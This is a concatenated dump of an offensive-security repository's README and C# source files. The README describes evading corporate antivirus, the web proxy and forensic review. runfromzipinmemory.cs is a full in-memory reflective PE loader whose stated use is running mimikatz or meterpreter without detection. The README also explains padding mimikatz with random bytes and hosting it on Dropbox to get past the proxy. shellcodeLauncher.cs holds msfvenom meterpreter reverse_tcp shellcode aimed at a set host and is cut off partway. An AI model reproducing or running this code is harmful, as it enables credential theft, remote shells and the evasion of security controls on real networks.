calling process memory. 73 | 74 | So not only the AV doesn't bark at all, but from a forensic perspective, the only "visibly running process" looks perfectly innocent. 75 | 76 | Compiling the script on a Windows machine requires the .Net framework (*installed by default on Windows 7 onwards*): 77 | ``` 78 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs 79 | ``` 80 | 81 | You can then execute: 82 | ``` 83 | unfromzipinmemory.exe 84 | ``` 85 | 86 | **netPEloader.cs** 87 | 88 | This script is heavily based and inspired from Casey Smith (@subTee) work on Netkatz. 89 | 90 | Netkatz is a fantastic PoC of loading the latest mimikatz release from GitHub and execute if straight in memory. However, I faced three problems in my environment: 91 | 92 | 1. The connection to the internet has to be made through a corporate proxy requiring NTLM authentication (*Windows SSO is OK*) 93 | 2. The github page of Mimikatz is blocked by the corporate proxy due to website categorization 94 | 3. The mimikatz_trunked.zip file is being detected by the proxy AV (*yes, with SSL inspection turned on at the proxy level*) 95 | 96 | So I modified the original netkatz script to address these 3 issues: 97 | 98 | 1. Added system proxy and default credentials support (*currently logged on Windows user*) 99 | 2. Hosting the PE on a non blocked web site, innocent looking like www.dropbox.com 100 | 3. As per making the PE undetectable by AV, we could go throuth various obfuscation methods like encrypting, specific encoding, but I like the simple technique of adding 65536 random garbage bytes at the beginning of the real x64 Mimikatz PE: 101 | - dd if=/dev/urandom of=garbage bs=65536 count=1 102 | - cat garbage mimikatz.exe > mimiHidden 103 | - Upload mimiHidden to dropbox and share it 104 | 105 | The URL from where to download the hidden PE is hardcoded in the script. 106 | 107 | Compiling the script on a Windows machine requires the .Net framework (*installed by default on Windows 7 onwards*): 108 | ``` 109 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs 110 | ``` -------------------------------------------------------------------------------- /runfromzipinmemory.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net; 4 | using System.Text; 5 | using System.IO.Compression; 6 | using System.Collections.Generic; 7 | using System.Configuration.Install; 8 | using System.Runtime.InteropServices; 9 | 10 | /* 11 | Author: Arno0x0x, Twitter: @Arno0x0x 12 | This script is heavily and shamefully based, inspired, derived from Casey Smith (@subTee) work on Netkatz. 13 | 14 | License: BSD 3-Clause 15 | 16 | Why ? 17 | ===== 18 | I found out that the local antivirus (McAfee) on my corporate workstation is configured to *NOT* analyze the content of a ZIP file, probably on the assumption that whenever this content is to be read or executed 19 | it would normally first be extracted somewhere on the disk, and any bad stuff in it would get caught by the AV at that time. 20 | 21 | What this script does is loading everything in memory and work only from there, also using reflection to execute a PE from the calling process memory. 22 | 23 | So not only the AV doesn't bark at all, but from a forensic perspective, the only "visibly running process" looks perfectly innocent. 24 | 25 | How to compile: 26 | =============== 27 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs 28 | 29 | How to use: 30 | ============ 31 | runfromzipinmemory.exe 32 | 33 | Examples: 34 | ========= 35 | 36 | c:\> runfromzipinmemory.exe mimikatz_trunk.zip x64/mimikatz.exe 37 | 38 | c:\> runfromzipinmemory.exe meterpreter.zip meterpreter.exe 39 | 40 | */ 41 | 42 | namespace PELoader 43 | { 44 | class Program 45 | { 46 | public static byte[] ReadFully(Stream input) 47 | { 48 | byte[] buffer = new byte[16 * 1024]; 49 | using (MemoryStream ms = new MemoryStream()) 50 | { 51 | int read; 52 | while ((read = input.Read(buffer, 0, buffer.Length)) > 0) 53 | { 54 | ms.Write(buffer, 0, read); 55 | } 56 | return ms.ToArray(); 57 | } 58 | } 59 | 60 | public static void Main(string[] args) 61 | { 62 | if (args.Length < 2) { 63 | Console.WriteLine("[ERROR] Missing arguments."); 64 | Console.WriteLine("Usage: {0} ", System.Diagnostics.Process.GetCurrentProcess().ProcessName); 65 | Environment.Exit(-1); 66 | } 67 | 68 | // Array of bytes containing the unpacked version of the exe 69 | byte[] unpacked = null; 70 | try 71 | { 72 | // Reading all Bytes from the zip file 73 | byte[] zip = File.ReadAllBytes(args[0]); 74 | 75 | 76 | Stream data = new MemoryStream(zip); //The original data 77 | Stream unzippedEntryStream; //Unzipped data from a file in the archive 78 | ZipArchive archive = new ZipArchive(data); 79 | 80 | foreach (ZipArchiveEntry entry in archive.Entries) 81 | { 82 | if (entry.FullName == args[1]) 83 | { 84 | Console.WriteLine("Found EXE to be executed in the zip file: {0}",entry.FullName); 85 | unzippedEntryStream = entry.Open(); // .Open will return a stream 86 | unpacked = ReadFully(unzippedEntryStream); 87 | } 88 | 89 | } 90 | 91 | } 92 | catch (Exception ex) 93 | { 94 | while (ex != null) 95 | { 96 | Console.WriteLine(ex.Message); 97 | ex = ex.InnerException; 98 | } 99 | } 100 | 101 | PELoader pe = new PELoader(unpacked); 102 | 103 | IntPtr codebase = IntPtr.Zero; 104 | 105 | if (!pe.Is32BitHeader) { 106 | Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4")); 107 | codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); 108 | Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4")); 109 | } else { 110 | Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader32.ImageBase.ToString("X4")); 111 | codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader32.SizeOfImage, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); 112 | Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader32.SizeOfImage.ToString("X4"), codebase.ToString("X4")); 113 | } 114 | 115 | //Copy Sections 116 | for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) 117 | { 118 | 119 | IntPtr y = NativeDeclarations.VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_EXECUTE_READWRITE); 120 | Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData); 121 | Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4")); 122 | } 123 | 124 | //Perform Base Relocation 125 | //Calculate Delta 126 | long currentbase = (long)codebase.ToInt64(); 127 | long delta; 128 | 129 | if (!pe.Is32BitHeader) { 130 | delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase); 131 | } else { 132 | delta = (long)(currentbase - (long)pe.OptionalHeader32.ImageBase); 133 | } 134 | 135 | 136 | Console.WriteLine("Delta = {0}", delta.ToString("X4")); 137 | 138 | //Modify Memory Based On Relocation Table 139 | //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4")); 140 | //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4")); 141 | 142 | int virtualAddress; 143 | 144 | if (!pe.Is32BitHeader) { 145 | virtualAddress = (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress; 146 | } else { 147 | virtualAddress = (int)pe.OptionalHeader32.BaseRelocationTable.VirtualAddress; 148 | } 149 | 150 | IntPtr relocationTable = (IntPtr.Add(codebase, virtualAddress)); 151 | 152 | //Console.WriteLine(relocationTable.ToString("X4")); 153 | 154 | NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); 155 | relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); 156 | //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4")); 157 | //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4")); 158 | 159 | int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); 160 | IntPtr nextEntry = relocationTable; 161 | int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; 162 | IntPtr offset = relocationTable; 163 | 164 | while (true) 165 | { 166 | 167 | NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION(); 168 | IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock); 169 | relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION)); 170 | 171 | IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress); 172 | 173 | //Console.WriteLine("Section Has {0} Entires",(int)(relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) /2); 174 | //Console.WriteLine("Next Section Has {0} Entires", (int)(relocationNextEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); 175 | 176 | for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) 177 | { 178 | 179 | IntPtr patchAddr; 180 | UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); 181 | 182 | UInt16 type = (UInt16)(value >> 12); 183 | UInt16 fixup = (UInt16)(value & 0xfff); 184 | //Console.WriteLine("{0}, {1}, {2}", value.ToString("X4"), type.ToString("X4"), fixup.ToString("X4")); 185 | 186 | switch (type) 187 | { 188 | case 0x0: 189 | break; 190 | case 0xA: 191 | patchAddr = IntPtr.Add(dest, fixup); 192 | //Add Delta To Location. 193 | long originalAddr = Marshal.ReadInt64(patchAddr); 194 | Marshal.WriteInt64(patchAddr, originalAddr + delta); 195 | break; 196 | 197 | } 198 | 199 | } 200 | 201 | offset = IntPtr.Add(relocationTable, sizeofNextBlock); 202 | sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; 203 | relocationEntry = relocationNextEntry; 204 | 205 | nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock); 206 | 207 | if (relocationNextEntry.SizeOfBlock == 0) break; 208 | } 209 | 210 | 211 | //Resolve Imports 212 | IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); 213 | IntPtr oa1 = IntPtr.Add(codebase, virtualAddress); 214 | 215 | int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16)); 216 | 217 | //Get And Display Each DLL To Load 218 | for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically. 219 | { 220 | IntPtr a1 = IntPtr.Add(codebase, (20 * j) + virtualAddress); 221 | int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16)); 222 | IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part? 223 | IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12)))); 224 | string DllName = Marshal.PtrToStringAnsi(dllNamePTR); 225 | if (DllName == "") { break; } 226 | 227 | IntPtr handle = NativeDeclarations.LoadLibrary(DllName); 228 | Console.WriteLine("Loaded {0}", DllName); 229 | for (int k = 1; k < 9999; k++) 230 | { 231 | IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2))); 232 | string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2)); 233 | //Console.WriteLine("Function {0}", DllFuncName); 234 | IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName); 235 | Marshal.WriteInt64(a2, (long)funcAddy); 236 | a2 = IntPtr.Add(a2, 8); 237 | if (DllFuncName == "") break; 238 | 239 | } 240 | 241 | //Console.ReadLine(); 242 | } 243 | 244 | //Transfer Control To OEP 245 | Console.WriteLine("Executing inner executable"); 246 | IntPtr threadStart; 247 | if (!pe.Is32BitHeader) { 248 | threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint); 249 | } else { 250 | threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader32.AddressOfEntryPoint); 251 | } 252 | IntPtr hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero); 253 | NativeDeclarations.WaitForSingleObject(hThread, 0xFFFFFFFF); 254 | 255 | Console.WriteLine("Thread Complete"); 256 | //Console.ReadLine(); 257 | 258 | } //End Main 259 | }//End Program 260 | 261 | public class PELoader 262 | { 263 | public struct IMAGE_DOS_HEADER 264 | { // DOS .EXE header 265 | public UInt16 e_magic; // Magic number 266 | public UInt16 e_cblp; // Bytes on last page of file 267 | public UInt16 e_cp; // Pages in file 268 | public UInt16 e_crlc; // Relocations 269 | public UInt16 e_cparhdr; // Size of header in paragraphs 270 | public UInt16 e_minalloc; // Minimum extra paragraphs needed 271 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed 272 | public UInt16 e_ss; // Initial (relative) SS value 273 | public UInt16 e_sp; // Initial SP value 274 | public UInt16 e_csum; // Checksum 275 | public UInt16 e_ip; // Initial IP value 276 | public UInt16 e_cs; // Initial (relative) CS value 277 | public UInt16 e_lfarlc; // File address of relocation table 278 | public UInt16 e_ovno; // Overlay number 279 | public UInt16 e_res_0; // Reserved words 280 | public UInt16 e_res_1; // Reserved words 281 | public UInt16 e_res_2; // Reserved words 282 | public UInt16 e_res_3; // Reserved words 283 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo) 284 | public UInt16 e_oeminfo; // OEM information; e_oemid specific 285 | public UInt16 e_res2_0; // Reserved words 286 | public UInt16 e_res2_1; // Reserved words 287 | public UInt16 e_res2_2; // Reserved words 288 | public UInt16 e_res2_3; // Reserved words 289 | public UInt16 e_res2_4; // Reserved words 290 | public UInt16 e_res2_5; // Reserved words 291 | public UInt16 e_res2_6; // Reserved words 292 | public UInt16 e_res2_7; // Reserved words 293 | public UInt16 e_res2_8; // Reserved words 294 | public UInt16 e_res2_9; // Reserved words 295 | public UInt32 e_lfanew; // File address of new exe header 296 | } 297 | 298 | [StructLayout(LayoutKind.Sequential)] 299 | public struct IMAGE_DATA_DIRECTORY 300 | { 301 | public UInt32 VirtualAddress; 302 | public UInt32 Size; 303 | } 304 | 305 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 306 | public struct IMAGE_OPTIONAL_HEADER32 307 | { 308 | public UInt16 Magic; 309 | public Byte MajorLinkerVersion; 310 | public Byte MinorLinkerVersion; 311 | public UInt32 SizeOfCode; 312 | public UInt32 SizeOfInitializedData; 313 | public UInt32 SizeOfUninitializedData; 314 | public UInt32 AddressOfEntryPoint; 315 | public UInt32 BaseOfCode; 316 | public UInt32 BaseOfData; 317 | public UInt32 ImageBase; 318 | public UInt32 SectionAlignment; 319 | public UInt32 FileAlignment; 320 | public UInt16 MajorOperatingSystemVersion; 321 | public UInt16 MinorOperatingSystemVersion; 322 | public UInt16 MajorImageVersion; 323 | public UInt16 MinorImageVersion; 324 | public UInt16 MajorSubsystemVersion; 325 | public UInt16 MinorSubsystemVersion; 326 | public UInt32 Win32VersionValue; 327 | public UInt32 SizeOfImage; 328 | public UInt32 SizeOfHeaders; 329 | public UInt32 CheckSum; 330 | public UInt16 Subsystem; 331 | public UInt16 DllCharacteristics; 332 | public UInt32 SizeOfStackReserve; 333 | public UInt32 SizeOfStackCommit; 334 | public UInt32 SizeOfHeapReserve; 335 | public UInt32 SizeOfHeapCommit; 336 | public UInt32 LoaderFlags; 337 | public UInt32 NumberOfRvaAndSizes; 338 | 339 | public IMAGE_DATA_DIRECTORY ExportTable; 340 | public IMAGE_DATA_DIRECTORY ImportTable; 341 | public IMAGE_DATA_DIRECTORY ResourceTable; 342 | public IMAGE_DATA_DIRECTORY ExceptionTable; 343 | public IMAGE_DATA_DIRECTORY CertificateTable; 344 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 345 | public IMAGE_DATA_DIRECTORY Debug; 346 | public IMAGE_DATA_DIRECTORY Architecture; 347 | public IMAGE_DATA_DIRECTORY GlobalPtr; 348 | public IMAGE_DATA_DIRECTORY TLSTable; 349 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 350 | public IMAGE_DATA_DIRECTORY BoundImport; 351 | public IMAGE_DATA_DIRECTORY IAT; 352 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 353 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 354 | public IMAGE_DATA_DIRECTORY Reserved; 355 | } 356 | 357 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 358 | public struct IMAGE_OPTIONAL_HEADER64 359 | { 360 | public UInt16 Magic; 361 | public Byte MajorLinkerVersion; 362 | public Byte MinorLinkerVersion; 363 | public UInt32 SizeOfCode; 364 | public UInt32 SizeOfInitializedData; 365 | public UInt32 SizeOfUninitializedData; 366 | public UInt32 AddressOfEntryPoint; 367 | public UInt32 BaseOfCode; 368 | public UInt64 ImageBase; 369 | public UInt32 SectionAlignment; 370 | public UInt32 FileAlignment; 371 | public UInt16 MajorOperatingSystemVersion; 372 | public UInt16 MinorOperatingSystemVersion; 373 | public UInt16 MajorImageVersion; 374 | public UInt16 MinorImageVersion; 375 | public UInt16 MajorSubsystemVersion; 376 | public UInt16 MinorSubsystemVersion; 377 | public UInt32 Win32VersionValue; 378 | public UInt32 SizeOfImage; 379 | public UInt32 SizeOfHeaders; 380 | public UInt32 CheckSum; 381 | public UInt16 Subsystem; 382 | public UInt16 DllCharacteristics; 383 | public UInt64 SizeOfStackReserve; 384 | public UInt64 SizeOfStackCommit; 385 | public UInt64 SizeOfHeapReserve; 386 | public UInt64 SizeOfHeapCommit; 387 | public UInt32 LoaderFlags; 388 | public UInt32 NumberOfRvaAndSizes; 389 | 390 | public IMAGE_DATA_DIRECTORY ExportTable; 391 | public IMAGE_DATA_DIRECTORY ImportTable; 392 | public IMAGE_DATA_DIRECTORY ResourceTable; 393 | public IMAGE_DATA_DIRECTORY ExceptionTable; 394 | public IMAGE_DATA_DIRECTORY CertificateTable; 395 | public IMAGE_DATA_DIRECTORY BaseRelocationTable; 396 | public IMAGE_DATA_DIRECTORY Debug; 397 | public IMAGE_DATA_DIRECTORY Architecture; 398 | public IMAGE_DATA_DIRECTORY GlobalPtr; 399 | public IMAGE_DATA_DIRECTORY TLSTable; 400 | public IMAGE_DATA_DIRECTORY LoadConfigTable; 401 | public IMAGE_DATA_DIRECTORY BoundImport; 402 | public IMAGE_DATA_DIRECTORY IAT; 403 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor; 404 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; 405 | public IMAGE_DATA_DIRECTORY Reserved; 406 | } 407 | 408 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 409 | public struct IMAGE_FILE_HEADER 410 | { 411 | public UInt16 Machine; 412 | public UInt16 NumberOfSections; 413 | public UInt32 TimeDateStamp; 414 | public UInt32 PointerToSymbolTable; 415 | public UInt32 NumberOfSymbols; 416 | public UInt16 SizeOfOptionalHeader; 417 | public UInt16 Characteristics; 418 | } 419 | 420 | [StructLayout(LayoutKind.Explicit)] 421 | public struct IMAGE_SECTION_HEADER 422 | { 423 | [FieldOffset(0)] 424 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] 425 | public char[] Name; 426 | [FieldOffset(8)] 427 | public UInt32 VirtualSize; 428 | [FieldOffset(12)] 429 | public UInt32 VirtualAddress; 430 | [FieldOffset(16)] 431 | public UInt32 SizeOfRawData; 432 | [FieldOffset(20)] 433 | public UInt32 PointerToRawData; 434 | [FieldOffset(24)] 435 | public UInt32 PointerToRelocations; 436 | [FieldOffset(28)] 437 | public UInt32 PointerToLinenumbers; 438 | [FieldOffset(32)] 439 | public UInt16 NumberOfRelocations; 440 | [FieldOffset(34)] 441 | public UInt16 NumberOfLinenumbers; 442 | [FieldOffset(36)] 443 | public DataSectionFlags Characteristics; 444 | 445 | public string Section 446 | { 447 | get { return new string(Name); } 448 | } 449 | } 450 | 451 | [StructLayout(LayoutKind.Sequential)] 452 | public struct IMAGE_BASE_RELOCATION 453 | { 454 | public uint VirtualAdress; 455 | public uint SizeOfBlock; 456 | } 457 | 458 | [Flags] 459 | public enum DataSectionFlags : uint 460 | { 461 | 462 | Stub = 0x00000000, 463 | 464 | } 465 | 466 | 467 | /// The DOS header 468 | 469 | private IMAGE_DOS_HEADER dosHeader; 470 | 471 | /// The file header 472 | 473 | private IMAGE_FILE_HEADER fileHeader; 474 | 475 | /// Optional 32 bit file header 476 | 477 | private IMAGE_OPTIONAL_HEADER32 optionalHeader32; 478 | 479 | /// Optional 64 bit file header 480 | 481 | private IMAGE_OPTIONAL_HEADER64 optionalHeader64; 482 | 483 | /// Image Section headers. Number of sections is in the file header. 484 | 485 | private IMAGE_SECTION_HEADER[] imageSectionHeaders; 486 | 487 | private byte[] rawbytes; 488 | 489 | 490 | 491 | public PELoader(string filePath) 492 | { 493 | // Read in the DLL or EXE and get the timestamp 494 | using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read)) 495 | { 496 | BinaryReader reader = new BinaryReader(stream); 497 | dosHeader = FromBinaryReader(reader); 498 | 499 | // Add 4 bytes to the offset 500 | stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); 501 | 502 | UInt32 ntHeadersSignature = reader.ReadUInt32(); 503 | fileHeader = FromBinaryReader(reader); 504 | if (this.Is32BitHeader) 505 | { 506 | optionalHeader32 = FromBinaryReader(reader); 507 | } 508 | else 509 | { 510 | optionalHeader64 = FromBinaryReader(reader); 511 | } 512 | 513 | imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; 514 | for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) 515 | { 516 | imageSectionHeaders[headerNo] = FromBinaryReader(reader); 517 | } 518 | 519 | 520 | 521 | rawbytes = System.IO.File.ReadAllBytes(filePath); 522 | 523 | } 524 | } 525 | 526 | public PELoader(byte[] fileBytes) 527 | { 528 | // Read in the DLL or EXE and get the timestamp 529 | using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length)) 530 | { 531 | BinaryReader reader = new BinaryReader(stream); 532 | dosHeader = FromBinaryReader(reader); 533 | 534 | // Add 4 bytes to the offset 535 | stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); 536 | 537 | UInt32 ntHeadersSignature = reader.ReadUInt32(); 538 | fileHeader = FromBinaryReader(reader); 539 | if (this.Is32BitHeader) 540 | { 541 | optionalHeader32 = FromBinaryReader(reader); 542 | } 543 | else 544 | { 545 | optionalHeader64 = FromBinaryReader(reader); 546 | } 547 | 548 | imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; 549 | for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) 550 | { 551 | imageSectionHeaders[headerNo] = FromBinaryReader(reader); 552 | } 553 | 554 | 555 | rawbytes = fileBytes; 556 | 557 | } 558 | } 559 | 560 | 561 | public static T FromBinaryReader(BinaryReader reader) 562 | { 563 | // Read in a byte array 564 | byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T))); 565 | 566 | // Pin the managed memory while, copy it out the data, then unpin it 567 | GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); 568 | T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); 569 | handle.Free(); 570 | 571 | return theStructure; 572 | } 573 | 574 | 575 | 576 | public bool Is32BitHeader 577 | { 578 | get 579 | { 580 | UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100; 581 | return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE; 582 | } 583 | } 584 | 585 | 586 | public IMAGE_FILE_HEADER FileHeader 587 | { 588 | get 589 | { 590 | return fileHeader; 591 | } 592 | } 593 | 594 | 595 | /// Gets the optional header 596 | 597 | public IMAGE_OPTIONAL_HEADER32 OptionalHeader32 598 | { 599 | get 600 | { 601 | return optionalHeader32; 602 | } 603 | } 604 | 605 | 606 | /// Gets the optional header 607 | 608 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader64 609 | { 610 | get 611 | { 612 | return optionalHeader64; 613 | } 614 | } 615 | 616 | public IMAGE_SECTION_HEADER[] ImageSectionHeaders 617 | { 618 | get 619 | { 620 | return imageSectionHeaders; 621 | } 622 | } 623 | 624 | public byte[] RawBytes 625 | { 626 | get 627 | { 628 | return rawbytes; 629 | } 630 | 631 | } 632 | 633 | }//End Class 634 | 635 | 636 | unsafe class NativeDeclarations 637 | { 638 | public static uint MEM_COMMIT = 0x1000; 639 | public static uint MEM_RESERVE = 0x2000; 640 | public static uint PAGE_EXECUTE_READWRITE = 0x40; 641 | public static uint PAGE_READWRITE = 0x04; 642 | 643 | [StructLayout(LayoutKind.Sequential)] 644 | public unsafe struct IMAGE_BASE_RELOCATION 645 | { 646 | public uint VirtualAdress; 647 | public uint SizeOfBlock; 648 | } 649 | 650 | [DllImport("kernel32")] 651 | public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect); 652 | 653 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 654 | public static extern IntPtr LoadLibrary(string lpFileName); 655 | 656 | [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 657 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 658 | 659 | [DllImport("kernel32")] 660 | public static extern IntPtr CreateThread( 661 | 662 | IntPtr lpThreadAttributes, 663 | uint dwStackSize, 664 | IntPtr lpStartAddress, 665 | IntPtr param, 666 | uint dwCreationFlags, 667 | IntPtr lpThreadId 668 | ); 669 | 670 | [DllImport("kernel32")] 671 | public static extern UInt32 WaitForSingleObject( 672 | 673 | IntPtr hHandle, 674 | UInt32 dwMilliseconds 675 | ); 676 | 677 | [StructLayout(LayoutKind.Sequential)] 678 | public unsafe struct IMAGE_IMPORT_DESCRIPTOR 679 | { 680 | public uint OriginalFirstThunk; 681 | public uint TimeDateStamp; 682 | public uint ForwarderChain; 683 | public uint Name; 684 | public uint FirstThunk; 685 | } 686 | } 687 | } -------------------------------------------------------------------------------- /shellcodeLauncher.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.Runtime.InteropServices; 7 | 8 | /* 9 | Author: Casey Smith, Twitter: @subTee 10 | License: BSD 3-Clause 11 | 12 | How to compile: 13 | =============== 14 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs 15 | 16 | How to use: 17 | ============ 18 | c:\> shellcodeLauncher.exe 19 | 20 | */ 21 | 22 | namespace ShellCodeLauncher 23 | { 24 | class Program 25 | { 26 | static void Main() 27 | { 28 | // native function's compiled code 29 | // generated with metasploit 30 | // executes calc.exe 31 | /* 32 | byte[] shellcode = new byte[193] { 33 | 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 34 | 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 35 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 36 | 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 37 | 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 38 | 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 39 | 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 40 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 41 | 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 42 | 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 43 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 44 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 45 | 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; 46 | */ 47 | 48 | // Shellcode 49 | // generated with: 50 | // msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp 51 | byte[] shellcode = new byte[510] { 52 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 53 | 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 54 | 